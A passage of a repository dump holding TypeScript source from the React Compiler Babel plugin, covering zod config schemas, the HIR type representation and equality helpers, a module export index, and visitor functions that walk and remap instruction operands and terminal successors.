calleeEffect: Effect;\n  returnType: TypeConfig;\n  returnValueKind: ValueKind;\n  noAlias?: boolean | null | undefined;\n  mutableOnlyIfOperandsAreMutable?: boolean | null | undefined;\n  impure?: boolean | null | undefined;\n  canonicalName?: string | null | undefined;\n  aliasing?: AliasingSignatureConfig | null | undefined;\n  knownIncompatible?: string | null | undefined;\n};\nexport const FunctionTypeSchema: z.ZodType<FunctionTypeConfig> = z.object({\n  kind: z.literal('function'),\n  positionalParams: z.array(EffectSchema),\n  restParam: EffectSchema.nullable(),\n  calleeEffect: EffectSchema,\n  returnType: z.lazy(() => TypeSchema),\n  returnValueKind: ValueKindSchema,\n  noAlias: z.boolean().nullable().optional(),\n  mutableOnlyIfOperandsAreMutable: z.boolean().nullable().optional(),\n  impure: z.boolean().nullable().optional(),\n  canonicalName: z.string().nullable().optional(),\n  aliasing: AliasingSignatureSchema.nullable().optional(),\n  knownIncompatible: z.string().nullable().optional(),\n});\n\nexport type HookTypeConfig = {\n  kind: 'hook';\n  positionalParams?: Array<Effect> | null | undefined;\n  restParam?: Effect | null | undefined;\n  returnType: TypeConfig;\n  returnValueKind?: ValueKind | null | undefined;\n  noAlias?: boolean | null | undefined;\n  aliasing?: AliasingSignatureConfig | null | undefined;\n  knownIncompatible?: string | null | undefined;\n};\nexport const HookTypeSchema: z.ZodType<HookTypeConfig> = z.object({\n  kind: z.literal('hook'),\n  positionalParams: z.array(EffectSchema).nullable().optional(),\n  restParam: EffectSchema.nullable().optional(),\n  returnType: z.lazy(() => TypeSchema),\n  returnValueKind: ValueKindSchema.nullable().optional(),\n  noAlias: z.boolean().nullable().optional(),\n  aliasing: AliasingSignatureSchema.nullable().optional(),\n  knownIncompatible: z.string().nullable().optional(),\n});\n\nexport type BuiltInTypeConfig =\n  | 'Any'\n  | 'Ref'\n  | 'Array'\n  | 'Primitive'\n  | 'MixedReadonly';\nexport const BuiltInTypeSchema: z.ZodType<BuiltInTypeConfig> = z.union([\n  z.literal('Any'),\n  z.literal('Ref'),\n  z.literal('Array'),\n  z.literal('Primitive'),\n  z.literal('MixedReadonly'),\n]);\n\nexport type TypeReferenceConfig = {\n  kind: 'type';\n  name: BuiltInTypeConfig;\n};\nexport const TypeReferenceSchema: z.ZodType<TypeReferenceConfig> = z.object({\n  kind: z.literal('type'),\n  name: BuiltInTypeSchema,\n});\n\nexport type TypeConfig =\n  | ObjectTypeConfig\n  | FunctionTypeConfig\n  | HookTypeConfig\n  | TypeReferenceConfig;\nexport const TypeSchema: z.ZodType<TypeConfig> = z.union([\n  ObjectTypeSchema,\n  FunctionTypeSchema,\n  HookTypeSchema,\n  TypeReferenceSchema,\n]);\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/Types.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {GeneratedSource, PropertyLiteral} from './HIR';\n\nexport type BuiltInType = PrimitiveType | FunctionType | ObjectType;\n\nexport type Type =\n  | BuiltInType\n  | PhiType\n  | TypeVar\n  | PolyType\n  | PropType\n  | ObjectMethod;\nexport type PrimitiveType = {kind: 'Primitive'};\n\n/*\n * An {@link FunctionType} or {@link ObjectType} (also a JS object) may be associated with an\n * inferred \"object shape\", i.e. a known property (key -> Type) map. This is\n * subtly different from JS language semantics - `shape` represents both\n * OwnPropertyDescriptors and properties present in the prototype chain.\n *\n * {@link ObjectShape.functionType} is always present on the shape of a {@link FunctionType},\n * and it represents the call signature of the function. Note that Forget thinks of a\n * {@link FunctionType} as any \"callable object\" (not to be confused with objects that\n *   extend the global `Function`.)\n *\n * If `shapeId` is present, it is a key into the ShapeRegistry used to infer this\n * FunctionType or ObjectType instance (i.e. from an Environment).\n */\n\nexport type FunctionType = {\n  kind: 'Function';\n  shapeId: string | null;\n  return: Type;\n  isConstructor: boolean;\n};\n\nexport type ObjectType = {\n  kind: 'Object';\n  shapeId: string | null;\n};\n\nexport type TypeVar = {\n  kind: 'Type';\n  id: TypeId;\n};\nexport type PolyType = {\n  kind: 'Poly';\n};\nexport type PhiType = {\n  kind: 'Phi';\n  operands: Array<Type>;\n};\nexport type PropType = {\n  kind: 'Property';\n  objectType: Type;\n  objectName: string;\n  propertyName:\n    | {\n        kind: 'literal';\n        value: PropertyLiteral;\n      }\n    | {\n        kind: 'computed';\n        value: Type;\n      };\n};\n\nexport type ObjectMethod = {\n  kind: 'ObjectMethod';\n};\n\n/*\n * Simulated opaque type for TypeId to prevent using normal numbers as ids\n * accidentally.\n */\nconst opaqueTypeId = Symbol();\nexport type TypeId = number & {[opaqueTypeId]: 'IdentifierId'};\n\nexport function makeTypeId(id: number): TypeId {\n  CompilerError.invariant(id >= 0 && Number.isInteger(id), {\n    reason: 'Expected instruction id to be a non-negative integer',\n    loc: GeneratedSource,\n  });\n  return id as TypeId;\n}\n\nlet typeCounter = 0;\nexport function makeType(): TypeVar {\n  return {\n    kind: 'Type',\n    id: makeTypeId(typeCounter++),\n  };\n}\n\n/**\n * Duplicates the given type, copying types that are exact while creating fresh\n * type identifiers for any abstract types.\n */\nexport function duplicateType(type: Type): Type {\n  switch (type.kind) {\n    case 'Function': {\n      return {\n        kind: 'Function',\n        return: duplicateType(type.return),\n        shapeId: type.shapeId,\n        isConstructor: type.isConstructor,\n      };\n    }\n    case 'Object': {\n      return {kind: 'Object', shapeId: type.shapeId};\n    }\n    case 'ObjectMethod': {\n      return {kind: 'ObjectMethod'};\n    }\n    case 'Phi': {\n      return {\n        kind: 'Phi',\n        operands: type.operands.map(operand => duplicateType(operand)),\n      };\n    }\n    case 'Poly': {\n      return {kind: 'Poly'};\n    }\n    case 'Primitive': {\n      return {kind: 'Primitive'};\n    }\n    case 'Property': {\n      return {\n        kind: 'Property',\n        objectType: duplicateType(type.objectType),\n        objectName: type.objectName,\n        propertyName: type.propertyName,\n      };\n    }\n    case 'Type': {\n      return makeType();\n    }\n  }\n}\n\nexport function typeEquals(tA: Type, tB: Type): boolean {\n  if (tA.kind !== tB.kind) return false;\n  return (\n    typeVarEquals(tA, tB) ||\n    funcTypeEquals(tA, tB) ||\n    objectTypeEquals(tA, tB) ||\n    primitiveTypeEquals(tA, tB) ||\n    polyTypeEquals(tA, tB) ||\n    phiTypeEquals(tA, tB) ||\n    propTypeEquals(tA, tB) ||\n    objectMethodTypeEquals(tA, tB)\n  );\n}\n\nfunction typeVarEquals(tA: Type, tB: Type): boolean {\n  if (tA.kind === 'Type' && tB.kind === 'Type') {\n    return tA.id === tB.id;\n  }\n  return false;\n}\n\nfunction typeKindCheck(tA: Type, tb: Type, type: string): boolean {\n  return tA.kind === type && tb.kind === type;\n}\n\nfunction objectMethodTypeEquals(tA: Type, tB: Type): boolean {\n  return typeKindCheck(tA, tB, 'ObjectMethod');\n}\n\nfunction propTypeEquals(tA: Type, tB: Type): boolean {\n  if (tA.kind === 'Property' && tB.kind === 'Property') {\n    if (!typeEquals(tA.objectType, tB.objectType)) {\n      return false;\n    }\n\n    return (\n      tA.propertyName === tB.propertyName && tA.objectName === tB.objectName\n    );\n  }\n\n  return false;\n}\n\nfunction primitiveTypeEquals(tA: Type, tB: Type): boolean {\n  return typeKindCheck(tA, tB, 'Primitive');\n}\n\nfunction polyTypeEquals(tA: Type, tB: Type): boolean {\n  return typeKindCheck(tA, tB, 'Poly');\n}\n\nfunction objectTypeEquals(tA: Type, tB: Type): boolean {\n  if (tA.kind === 'Object' && tB.kind == 'Object') {\n    return tA.shapeId === tB.shapeId;\n  }\n\n  return false;\n}\n\nfunction funcTypeEquals(tA: Type, tB: Type): boolean {\n  if (tA.kind !== 'Function' || tB.kind !== 'Function') {\n    return false;\n  }\n  return typeEquals(tA.return, tB.return);\n}\n\nfunction phiTypeEquals(tA: Type, tB: Type): boolean {\n  if (tA.kind === 'Phi' && tB.kind === 'Phi') {\n    if (tA.operands.length !== tB.operands.length) {\n      return false;\n    }\n\n    let operands = new Set(tA.operands);\n    for (let i = 0; i < tB.operands.length; i++) {\n      if (!operands.has(tB.operands[i])) {\n        return false;\n      }\n    }\n  }\n\n  return false;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport {assertConsistentIdentifiers} from './AssertConsistentIdentifiers';\nexport {\n  assertTerminalSuccessorsExist,\n  assertTerminalPredsExist,\n} from './AssertTerminalBlocksExist';\nexport {assertValidBlockNesting} from './AssertValidBlockNesting';\nexport {assertValidMutableRanges} from './AssertValidMutableRanges';\nexport {lower} from './BuildHIR';\nexport {buildReactiveScopeTerminalsHIR} from './BuildReactiveScopeTerminalsHIR';\nexport {computeDominatorTree, computePostDominatorTree} from './Dominator';\nexport {\n  Environment,\n  validateEnvironmentConfig,\n  type EnvironmentConfig,\n  type ExternalFunction,\n  type Hook,\n} from './Environment';\nexport * from './HIR';\nexport {\n  markInstructionIds,\n  markPredecessors,\n  removeUnnecessaryTryCatch,\n  reversePostorderBlocks,\n} from './HIRBuilder';\nexport {mergeConsecutiveBlocks} from './MergeConsecutiveBlocks';\nexport {mergeOverlappingReactiveScopesHIR} from './MergeOverlappingReactiveScopesHIR';\nexport {printFunction, printHIR, printFunctionWithOutlined} from './PrintHIR';\nexport {pruneUnusedLabelsHIR} from './PruneUnusedLabelsHIR';\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/visitors.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {assertExhaustive} from '../Utils/utils';\nimport {CompilerError} from '..';\nimport {\n  BasicBlock,\n  BlockId,\n  Instruction,\n  InstructionKind,\n  InstructionValue,\n  makeInstructionId,\n  Pattern,\n  Place,\n  ReactiveInstruction,\n  ReactiveScope,\n  ReactiveValue,\n  ScopeId,\n  SpreadPattern,\n  Terminal,\n} from './HIR';\n\nexport function* eachInstructionLValue(\n  instr: ReactiveInstruction,\n): Iterable<Place> {\n  if (instr.lvalue !== null) {\n    yield instr.lvalue;\n  }\n  yield* eachInstructionValueLValue(instr.value);\n}\n\nexport function* eachInstructionLValueWithKind(\n  instr: ReactiveInstruction,\n): Iterable<[Place, InstructionKind]> {\n  switch (instr.value.kind) {\n    case 'DeclareContext':\n    case 'StoreContext':\n    case 'DeclareLocal':\n    case 'StoreLocal': {\n      yield [instr.value.lvalue.place, instr.value.lvalue.kind];\n      break;\n    }\n    case 'Destructure': {\n      const kind = instr.value.lvalue.kind;\n      for (const place of eachPatternOperand(instr.value.lvalue.pattern)) {\n        yield [place, kind];\n      }\n      break;\n    }\n    case 'PostfixUpdate':\n    case 'PrefixUpdate': {\n      yield [instr.value.lvalue, InstructionKind.Reassign];\n      break;\n    }\n  }\n}\n\nexport function* eachInstructionValueLValue(\n  value: ReactiveValue,\n): Iterable<Place> {\n  switch (value.kind) {\n    case 'DeclareContext':\n    case 'StoreContext':\n    case 'DeclareLocal':\n    case 'StoreLocal': {\n      yield value.lvalue.place;\n      break;\n    }\n    case 'Destructure': {\n      yield* eachPatternOperand(value.lvalue.pattern);\n      break;\n    }\n    case 'PostfixUpdate':\n    case 'PrefixUpdate': {\n      yield value.lvalue;\n      break;\n    }\n  }\n}\n\nexport function* eachInstructionOperand(instr: Instruction): Iterable<Place> {\n  yield* eachInstructionValueOperand(instr.value);\n}\nexport function* eachInstructionValueOperand(\n  instrValue: InstructionValue,\n): Iterable<Place> {\n  switch (instrValue.kind) {\n    case 'NewExpression':\n    case 'CallExpression': {\n      yield instrValue.callee;\n      yield* eachCallArgument(instrValue.args);\n      break;\n    }\n    case 'BinaryExpression': {\n      yield instrValue.left;\n      yield instrValue.right;\n      break;\n    }\n    case 'MethodCall': {\n      yield instrValue.receiver;\n      yield instrValue.property;\n      yield* eachCallArgument(instrValue.args);\n      break;\n    }\n    case 'DeclareContext':\n    case 'DeclareLocal': {\n      break;\n    }\n    case 'LoadLocal':\n    case 'LoadContext': {\n      yield instrValue.place;\n      break;\n    }\n    case 'StoreLocal': {\n      yield instrValue.value;\n      break;\n    }\n    case 'StoreContext': {\n      yield instrValue.lvalue.place;\n      yield instrValue.value;\n      break;\n    }\n    case 'StoreGlobal': {\n      yield instrValue.value;\n      break;\n    }\n    case 'Destructure': {\n      yield instrValue.value;\n      break;\n    }\n    case 'PropertyLoad': {\n      yield instrValue.object;\n      break;\n    }\n    case 'PropertyDelete': {\n      yield instrValue.object;\n      break;\n    }\n    case 'PropertyStore': {\n      yield instrValue.object;\n      yield instrValue.value;\n      break;\n    }\n    case 'ComputedLoad': {\n      yield instrValue.object;\n      yield instrValue.property;\n      break;\n    }\n    case 'ComputedDelete': {\n      yield instrValue.object;\n      yield instrValue.property;\n      break;\n    }\n    case 'ComputedStore': {\n      yield instrValue.object;\n      yield instrValue.property;\n      yield instrValue.value;\n      break;\n    }\n    case 'UnaryExpression': {\n      yield instrValue.value;\n      break;\n    }\n    case 'JsxExpression': {\n      if (instrValue.tag.kind === 'Identifier') {\n        yield instrValue.tag;\n      }\n      for (const attribute of instrValue.props) {\n        switch (attribute.kind) {\n          case 'JsxAttribute': {\n            yield attribute.place;\n            break;\n          }\n          case 'JsxSpreadAttribute': {\n            yield attribute.argument;\n            break;\n          }\n          default: {\n            assertExhaustive(\n              attribute,\n              `Unexpected attribute kind \\`${(attribute as any).kind}\\``,\n            );\n          }\n        }\n      }\n      if (instrValue.children) {\n        yield* instrValue.children;\n      }\n      break;\n    }\n    case 'JsxFragment': {\n      yield* instrValue.children;\n      break;\n    }\n    case 'ObjectExpression': {\n      for (const property of instrValue.properties) {\n        if (\n          property.kind === 'ObjectProperty' &&\n          property.key.kind === 'computed'\n        ) {\n          yield property.key.name;\n        }\n        yield property.place;\n      }\n      break;\n    }\n    case 'ArrayExpression': {\n      for (const element of instrValue.elements) {\n        if (element.kind === 'Identifier') {\n          yield element;\n        } else if (element.kind === 'Spread') {\n          yield element.place;\n        }\n      }\n      break;\n    }\n    case 'ObjectMethod':\n    case 'FunctionExpression': {\n      yield* instrValue.loweredFunc.func.context;\n      break;\n    }\n    case 'TaggedTemplateExpression': {\n      yield instrValue.tag;\n      break;\n    }\n    case 'TypeCastExpression': {\n      yield instrValue.value;\n      break;\n    }\n    case 'TemplateLiteral': {\n      yield* instrValue.subexprs;\n      break;\n    }\n    case 'Await': {\n      yield instrValue.value;\n      break;\n    }\n    case 'GetIterator': {\n      yield instrValue.collection;\n      break;\n    }\n    case 'IteratorNext': {\n      yield instrValue.iterator;\n      yield instrValue.collection;\n      break;\n    }\n    case 'NextPropertyOf': {\n      yield instrValue.value;\n      break;\n    }\n    case 'PostfixUpdate':\n    case 'PrefixUpdate': {\n      yield instrValue.value;\n      break;\n    }\n    case 'StartMemoize': {\n      if (instrValue.deps != null) {\n        for (const dep of instrValue.deps) {\n          if (dep.root.kind === 'NamedLocal') {\n            yield dep.root.value;\n          }\n        }\n      }\n      break;\n    }\n    case 'FinishMemoize': {\n      yield instrValue.decl;\n      break;\n    }\n    case 'Debugger':\n    case 'RegExpLiteral':\n    case 'MetaProperty':\n    case 'LoadGlobal':\n    case 'UnsupportedNode':\n    case 'Primitive':\n    case 'JSXText': {\n      break;\n    }\n    default: {\n      assertExhaustive(\n        instrValue,\n        `Unexpected instruction kind \\`${(instrValue as any).kind}\\``,\n      );\n    }\n  }\n}\n\nexport function* eachCallArgument(\n  args: Array<Place | SpreadPattern>,\n): Iterable<Place> {\n  for (const arg of args) {\n    if (arg.kind === 'Identifier') {\n      yield arg;\n    } else {\n      yield arg.place;\n    }\n  }\n}\n\nexport function doesPatternContainSpreadElement(pattern: Pattern): boolean {\n  switch (pattern.kind) {\n    case 'ArrayPattern': {\n      for (const item of pattern.items) {\n        if (item.kind === 'Spread') {\n          return true;\n        }\n      }\n      break;\n    }\n    case 'ObjectPattern': {\n      for (const property of pattern.properties) {\n        if (property.kind === 'Spread') {\n          return true;\n        }\n      }\n      break;\n    }\n    default: {\n      assertExhaustive(\n        pattern,\n        `Unexpected pattern kind \\`${(pattern as any).kind}\\``,\n      );\n    }\n  }\n  return false;\n}\n\nexport function* eachPatternOperand(pattern: Pattern): Iterable<Place> {\n  switch (pattern.kind) {\n    case 'ArrayPattern': {\n      for (const item of pattern.items) {\n        if (item.kind === 'Identifier') {\n          yield item;\n        } else if (item.kind === 'Spread') {\n          yield item.place;\n        } else if (item.kind === 'Hole') {\n          continue;\n        } else {\n          assertExhaustive(\n            item,\n            `Unexpected item kind \\`${(item as any).kind}\\``,\n          );\n        }\n      }\n      break;\n    }\n    case 'ObjectPattern': {\n      for (const property of pattern.properties) {\n        if (property.kind === 'ObjectProperty') {\n          yield property.place;\n        } else if (property.kind === 'Spread') {\n          yield property.place;\n        } else {\n          assertExhaustive(\n            property,\n            `Unexpected item kind \\`${(property as any).kind}\\``,\n          );\n        }\n      }\n      break;\n    }\n    default: {\n      assertExhaustive(\n        pattern,\n        `Unexpected pattern kind \\`${(pattern as any).kind}\\``,\n      );\n    }\n  }\n}\n\nexport function* eachPatternItem(\n  pattern: Pattern,\n): Iterable<Place | SpreadPattern> {\n  switch (pattern.kind) {\n    case 'ArrayPattern': {\n      for (const item of pattern.items) {\n        if (item.kind === 'Identifier') {\n          yield item;\n        } else if (item.kind === 'Spread') {\n          yield item;\n        } else if (item.kind === 'Hole') {\n          continue;\n        } else {\n          assertExhaustive(\n            item,\n            `Unexpected item kind \\`${(item as any).kind}\\``,\n          );\n        }\n      }\n      break;\n    }\n    case 'ObjectPattern': {\n      for (const property of pattern.properties) {\n        if (property.kind === 'ObjectProperty') {\n          yield property.place;\n        } else if (property.kind === 'Spread') {\n          yield property;\n        } else {\n          assertExhaustive(\n            property,\n            `Unexpected item kind \\`${(property as any).kind}\\``,\n          );\n        }\n      }\n      break;\n    }\n    default: {\n      assertExhaustive(\n        pattern,\n        `Unexpected pattern kind \\`${(pattern as any).kind}\\``,\n      );\n    }\n  }\n}\n\nexport function mapInstructionLValues(\n  instr: Instruction,\n  fn: (place: Place) => Place,\n): void {\n  switch (instr.value.kind) {\n    case 'DeclareLocal':\n    case 'StoreLocal': {\n      const lvalue = instr.value.lvalue;\n      lvalue.place = fn(lvalue.place);\n      break;\n    }\n    case 'Destructure': {\n      mapPatternOperands(instr.value.lvalue.pattern, fn);\n      break;\n    }\n    case 'PostfixUpdate':\n    case 'PrefixUpdate': {\n      instr.value.lvalue = fn(instr.value.lvalue);\n      break;\n    }\n  }\n  if (instr.lvalue !== null) {\n    instr.lvalue = fn(instr.lvalue);\n  }\n}\n\nexport function mapInstructionOperands(\n  instr: Instruction,\n  fn: (place: Place) => Place,\n): void {\n  mapInstructionValueOperands(instr.value, fn);\n}\n\nexport function mapInstructionValueOperands(\n  instrValue: InstructionValue,\n  fn: (place: Place) => Place,\n): void {\n  switch (instrValue.kind) {\n    case 'BinaryExpression': {\n      instrValue.left = fn(instrValue.left);\n      instrValue.right = fn(instrValue.right);\n      break;\n    }\n    case 'PropertyLoad': {\n      instrValue.object = fn(instrValue.object);\n      break;\n    }\n    case 'PropertyDelete': {\n      instrValue.object = fn(instrValue.object);\n      break;\n    }\n    case 'PropertyStore': {\n      instrValue.object = fn(instrValue.object);\n      instrValue.value = fn(instrValue.value);\n      break;\n    }\n    case 'ComputedLoad': {\n      instrValue.object = fn(instrValue.object);\n      instrValue.property = fn(instrValue.property);\n      break;\n    }\n    case 'ComputedDelete': {\n      instrValue.object = fn(instrValue.object);\n      instrValue.property = fn(instrValue.property);\n      break;\n    }\n    case 'ComputedStore': {\n      instrValue.object = fn(instrValue.object);\n      instrValue.property = fn(instrValue.property);\n      instrValue.value = fn(instrValue.value);\n      break;\n    }\n    case 'DeclareContext':\n    case 'DeclareLocal': {\n      break;\n    }\n    case 'LoadLocal':\n    case 'LoadContext': {\n      instrValue.place = fn(instrValue.place);\n      break;\n    }\n    case 'StoreLocal': {\n      instrValue.value = fn(instrValue.value);\n      break;\n    }\n    case 'StoreContext': {\n      instrValue.lvalue.place = fn(instrValue.lvalue.place);\n      instrValue.value = fn(instrValue.value);\n      break;\n    }\n    case 'StoreGlobal': {\n      instrValue.value = fn(instrValue.value);\n      break;\n    }\n    case 'Destructure': {\n      instrValue.value = fn(instrValue.value);\n      break;\n    }\n    case 'NewExpression':\n    case 'CallExpression': {\n      instrValue.callee = fn(instrValue.callee);\n      instrValue.args = mapCallArguments(instrValue.args, fn);\n      break;\n    }\n    case 'MethodCall': {\n      instrValue.receiver = fn(instrValue.receiver);\n      instrValue.property = fn(instrValue.property);\n      instrValue.args = mapCallArguments(instrValue.args, fn);\n      break;\n    }\n    case 'UnaryExpression': {\n      instrValue.value = fn(instrValue.value);\n      break;\n    }\n    case 'JsxExpression': {\n      if (instrValue.tag.kind === 'Identifier') {\n        instrValue.tag = fn(instrValue.tag);\n      }\n      for (const attribute of instrValue.props) {\n        switch (attribute.kind) {\n          case 'JsxAttribute': {\n            attribute.place = fn(attribute.place);\n            break;\n          }\n          case 'JsxSpreadAttribute': {\n            attribute.argument = fn(attribute.argument);\n            break;\n          }\n          default: {\n            assertExhaustive(\n              attribute,\n              `Unexpected attribute kind \\`${(attribute as any).kind}\\``,\n            );\n          }\n        }\n      }\n      if (instrValue.children) {\n        instrValue.children = instrValue.children.map(p => fn(p));\n      }\n      break;\n    }\n    case 'ObjectExpression': {\n      for (const property of instrValue.properties) {\n        if (\n          property.kind === 'ObjectProperty' &&\n          property.key.kind === 'computed'\n        ) {\n          property.key.name = fn(property.key.name);\n        }\n        property.place = fn(property.place);\n      }\n      break;\n    }\n    case 'ArrayExpression': {\n      instrValue.elements = instrValue.elements.map(element => {\n        if (element.kind === 'Identifier') {\n          return fn(element);\n        } else if (element.kind === 'Spread') {\n          element.place = fn(element.place);\n          return element;\n        } else {\n          return element;\n        }\n      });\n      break;\n    }\n    case 'JsxFragment': {\n      instrValue.children = instrValue.children.map(e => fn(e));\n      break;\n    }\n    case 'ObjectMethod':\n    case 'FunctionExpression': {\n      instrValue.loweredFunc.func.context =\n        instrValue.loweredFunc.func.context.map(d => fn(d));\n\n      break;\n    }\n    case 'TaggedTemplateExpression': {\n      instrValue.tag = fn(instrValue.tag);\n      break;\n    }\n    case 'TypeCastExpression': {\n      instrValue.value = fn(instrValue.value);\n      break;\n    }\n    case 'TemplateLiteral': {\n      instrValue.subexprs = instrValue.subexprs.map(fn);\n      break;\n    }\n    case 'Await': {\n      instrValue.value = fn(instrValue.value);\n      break;\n    }\n    case 'GetIterator': {\n      instrValue.collection = fn(instrValue.collection);\n      break;\n    }\n    case 'IteratorNext': {\n      instrValue.iterator = fn(instrValue.iterator);\n      instrValue.collection = fn(instrValue.collection);\n      break;\n    }\n    case 'NextPropertyOf': {\n      instrValue.value = fn(instrValue.value);\n      break;\n    }\n    case 'PostfixUpdate':\n    case 'PrefixUpdate': {\n      instrValue.value = fn(instrValue.value);\n      break;\n    }\n    case 'StartMemoize': {\n      if (instrValue.deps != null) {\n        for (const dep of instrValue.deps) {\n          if (dep.root.kind === 'NamedLocal') {\n            dep.root.value = fn(dep.root.value);\n          }\n        }\n      }\n      break;\n    }\n    case 'FinishMemoize': {\n      instrValue.decl = fn(instrValue.decl);\n      break;\n    }\n    case 'Debugger':\n    case 'RegExpLiteral':\n    case 'MetaProperty':\n    case 'LoadGlobal':\n    case 'UnsupportedNode':\n    case 'Primitive':\n    case 'JSXText': {\n      break;\n    }\n    default: {\n      assertExhaustive(instrValue, 'Unexpected instruction kind');\n    }\n  }\n}\n\nexport function mapCallArguments(\n  args: Array<Place | SpreadPattern>,\n  fn: (place: Place) => Place,\n): Array<Place | SpreadPattern> {\n  return args.map(arg => {\n    if (arg.kind === 'Identifier') {\n      return fn(arg);\n    } else {\n      arg.place = fn(arg.place);\n      return arg;\n    }\n  });\n}\n\nexport function mapPatternOperands(\n  pattern: Pattern,\n  fn: (place: Place) => Place,\n): void {\n  switch (pattern.kind) {\n    case 'ArrayPattern': {\n      pattern.items = pattern.items.map(item => {\n        if (item.kind === 'Identifier') {\n          return fn(item);\n        } else if (item.kind === 'Spread') {\n          item.place = fn(item.place);\n          return item;\n        } else {\n          return item;\n        }\n      });\n      break;\n    }\n    case 'ObjectPattern': {\n      for (const property of pattern.properties) {\n        property.place = fn(property.place);\n      }\n      break;\n    }\n    default: {\n      assertExhaustive(\n        pattern,\n        `Unexpected pattern kind \\`${(pattern as any).kind}\\``,\n      );\n    }\n  }\n}\n\n// Maps a terminal node's block assignments using the provided function.\nexport function mapTerminalSuccessors(\n  terminal: Terminal,\n  fn: (block: BlockId) => BlockId,\n): Terminal {\n  switch (terminal.kind) {\n    case 'goto': {\n      const target = fn(terminal.block);\n      return {\n        kind: 'goto',\n        block: target,\n        variant: terminal.variant,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n      };\n    }\n    case 'if': {\n      const consequent = fn(terminal.consequent);\n      const alternate = fn(terminal.alternate);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'if',\n        test: terminal.test,\n        consequent,\n        alternate,\n        fallthrough,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n      };\n    }\n    case 'branch': {\n      const consequent = fn(terminal.consequent);\n      const alternate = fn(terminal.alternate);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'branch',\n        test: terminal.test,\n        consequent,\n        alternate,\n        fallthrough,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n      };\n    }\n    case 'switch': {\n      const cases = terminal.cases.map(case_ => {\n        const target = fn(case_.block);\n        return {\n          test: case_.test,\n          block: target,\n        };\n      });\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'switch',\n        test: terminal.test,\n        cases,\n        fallthrough,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n      };\n    }\n    case 'logical': {\n      const test = fn(terminal.test);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'logical',\n        test,\n        fallthrough,\n        operator: terminal.operator,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n      };\n    }\n    case 'ternary': {\n      const test = fn(terminal.test);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'ternary',\n        test,\n        fallthrough,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n      };\n    }\n    case 'optional': {\n      const test = fn(terminal.test);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'optional',\n        optional: terminal.optional,\n        test,\n        fallthrough,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n      };\n    }\n    case 'return': {\n      return {\n        kind: 'return',\n        returnVariant: terminal.returnVariant,\n        loc: terminal.loc,\n        value: terminal.value,\n        id: makeInstructionId(0),\n        effects: terminal.effects,\n      };\n    }\n    case 'throw': {\n      return terminal;\n    }\n    case 'do-while': {\n      const loop = fn(terminal.loop);\n      const test = fn(terminal.test);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'do-while',\n        loc: terminal.loc,\n        test,\n        loop,\n        fallthrough,\n        id: makeInstructionId(0),\n      };\n    }\n    case 'while': {\n      const test = fn(terminal.test);\n      const loop = fn(terminal.loop);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'while',\n        loc: terminal.loc,\n        test,\n        loop,\n        fallthrough,\n        id: makeInstructionId(0),\n      };\n    }\n    case 'for': {\n      const init = fn(terminal.init);\n      const test = fn(terminal.test);\n      const update = terminal.update !== null ? fn(terminal.update) : null;\n      const loop = fn(terminal.loop);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'for',\n        loc: terminal.loc,\n        init,\n        test,\n        update,\n        loop,\n        fallthrough,\n        id: makeInstructionId(0),\n      };\n    }\n    case 'for-of': {\n      const init = fn(terminal.init);\n      const loop = fn(terminal.loop);\n      const test = fn(terminal.test);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'for-of',\n        loc: terminal.loc,\n        init,\n        test,\n        loop,\n        fallthrough,\n        id: makeInstructionId(0),\n      };\n    }\n    case 'for-in': {\n      const init = fn(terminal.init);\n      const loop = fn(terminal.loop);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'for-in',\n        loc: terminal.loc,\n        init,\n        loop,\n        fallthrough,\n        id: makeInstructionId(0),\n      };\n    }\n    case 'label': {\n      const block = fn(terminal.block);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'label',\n        block,\n        fallthrough,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n      };\n    }\n    case 'sequence': {\n      const block = fn(terminal.block);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'sequence',\n        block,\n        fallthrough,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n      };\n    }\n    case 'maybe-throw': {\n      const continuation = fn(terminal.continuation);\n      const handler = terminal.handler !== null ? fn(terminal.handler) : null;\n      return {\n        kind: 'maybe-throw',\n        continuation,\n        handler,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n        effects: terminal.effects,\n      };\n    }\n    case 'try': {\n      const block = fn(terminal.block);\n      const handler = fn(terminal.handler);\n      const fallthrough = fn(terminal.fallthrough);\n      return {\n        kind: 'try',\n        block,\n        handlerBinding: terminal.handlerBinding,\n        handler,\n        fallthrough,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n      };\n    }\n    case 'scope':\n    case 'pruned-scope': {\n      const block = fn(terminal.block);\n      const fallthrough = 